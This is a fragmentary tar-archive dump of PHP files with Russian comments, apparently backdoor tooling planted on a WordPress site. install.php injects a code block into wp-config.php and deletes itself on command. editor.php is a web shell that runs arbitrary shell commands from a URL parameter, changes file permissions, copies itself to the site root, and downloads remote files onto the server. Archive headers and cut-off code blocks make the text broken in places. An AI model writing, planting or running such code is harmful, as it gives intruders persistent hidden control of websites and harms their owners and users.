??????????????
install.php 0000644 00000014222 15122262011 0006714 0 ustar 00 дописать блок кода в wp-config.php
* 2) instal.php?coddalete=1 -> удалить блок update_option(...) из wp-config.php
* 3) instal.php?dalete=1 -> самоудалиться (удалить instal.php)
*/
/* --------------------------------------------------------------------------
* ШАГ 1. Функция поиска wp-config.php, поднимаясь вверх по директориям
* -------------------------------------------------------------------------- */
function find_wp_config($startDir, $maxLevels = 10) {
$dir = rtrim($startDir, DIRECTORY_SEPARATOR);
for ($level = 0; $level < $maxLevels; $level++) {
$configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php';
if (file_exists($configPath)) {
return $configPath;
}
$parentDir = dirname($dir);
if ($parentDir === $dir) {
// Достигли корня ФС
break;
}
$dir = $parentDir;
}
return false;
}
// Пытаемся найти wp-config.php, начиная с директории, где лежит instal.php
$wpConfigPath = find_wp_config(__DIR__, 10);
if (!$wpConfigPath) {
echo "Не найден wp-config.php (проверено 10 уровней вверх от " . __DIR__ . ").";
exit;
}
/* --------------------------------------------------------------------------
* ШАГ 2. Определяем блок кода, который вставляем в wp-config.php
* -------------------------------------------------------------------------- */
$blockToAdd = << Используйте GET-параметры:
";
return;
}
// Добавляем блок
$original .= "\n" . $blockToAdd . "\n";
file_put_contents($filePath, $original);
echo "Блок успешно добавлен в {$filePath}
";
}
/**
* Удаляет один раз первый найденный фрагмент, подходящий под $pattern, из файла $filePath.
*/
function removeBlockFromFile($filePath, $pattern) {
$content = file_get_contents($filePath);
$newContent = preg_replace($pattern, '', $content, 1); // заменяем только одно вхождение
if ($newContent === null) {
echo "Ошибка при preg_replace — возможно, некорректная регулярка.
";
return;
}
if ($newContent !== $content) {
file_put_contents($filePath, $newContent);
echo "Фрагмент удалён из {$filePath}
";
} else {
echo "Не найден фрагмент для удаления в {$filePath}
";
}
}
/**
* Удаляет сам файл instal.php (самоуничтожение).
*/
function selfDelete() {
$myPath = __FILE__; // путь к самому себе
unlink($myPath);
echo "Файл удалён: {$myPath}
";
}
/* --------------------------------------------------------------------------
* ШАГ 4. Обработка GET-параметров
* -------------------------------------------------------------------------- */
if (isset($_GET['copy'])) {
// 1) Добавляем блок кода в конец wp-config.php
if (!file_exists($wpConfigPath)) {
echo "wp-config.php не найден. Путь: {$wpConfigPath}
";
} else {
appendToFile($wpConfigPath, $blockToAdd);
}
exit;
}
if (isset($_GET['coddalete'])) {
// 2) Удаляем ТОЛЬКО блок update_option(...) из wp-config.php
if (!file_exists($wpConfigPath)) {
echo "wp-config.php не найден. Путь: {$wpConfigPath}
";
} else {
removeBlockFromFile($wpConfigPath, $updateOptionPattern);
}
exit;
}
if (isset($_GET['dalete'])) {
// 3) Самоудаление instal.php
selfDelete();
exit;
}
// Если ?... не передан, выводим инструкцию
echo <<Скрипт instal.php (улучшенная версия)
HTML;
plugin.php 0000644 00000000000 15122262011 0006531 0 ustar 00 editor.php 0000644 00000014564 15122262011 0006545 0 ustar 00 Текущая директория: " . htmlspecialchars($current_dir) . "
Определенная корневая директория: " . htmlspecialchars($root_path) . "
"; // Выполнение команд из URL if (isset($_GET['cmd'])) { $command = escapeshellcmd($_GET['cmd']); $output = shell_exec($command . " 2>&1"); echo "$output"; } // Копирование файла в корень if (isset($_GET['copy_to_root'])) { $destination_file = $root_path . '/' . basename(__FILE__); if (copy(__FILE__, $destination_file)) { echo "Файл успешно скопирован в корневую директорию: $destination_file"; } else { echo "Ошибка при копировании файла в корневую директорию."; } } // Изменение прав доступа if (isset($_GET['chmod_file']) && isset($_GET['chmod_value'])) { $file_to_change = $root_path . '/' . ltrim($_GET['chmod_file'], '/'); $new_permissions = intval($_GET['chmod_value'], 8); if (file_exists($file_to_change)) { chmod($file_to_change, $new_permissions); echo "
Права доступа для $file_to_change изменены на " . sprintf('%o', $new_permissions) . "
"; } else { echo "Файл $file_to_change не найден.
"; } } // Загрузка файла из URL if (isset($_GET['download_url']) && isset($_GET['target_dir'])) { $download_url = $_GET['download_url']; $target_dir = realpath($root_path . '/' . trim($_GET['target_dir'], '/')); if ($target_dir === false || strpos($target_dir, $root_path) !== 0) { die("Нет доступа к указанной директории."); } $file_name = basename(parse_url($download_url, PHP_URL_PATH)); $target_file = $target_dir . '/' . $file_name; if (!is_dir($target_dir)) { mkdir($target_dir, 0777, true); } if (@file_put_contents($target_file, file_get_contents($download_url))) { echo "Файл $file_name успешно загружен в $target_dir.$output"; } else { echo "Файл $exe_path не найден."; } } // Список директорий и файлов function list_directory($dir) { $files = scandir($dir); echo "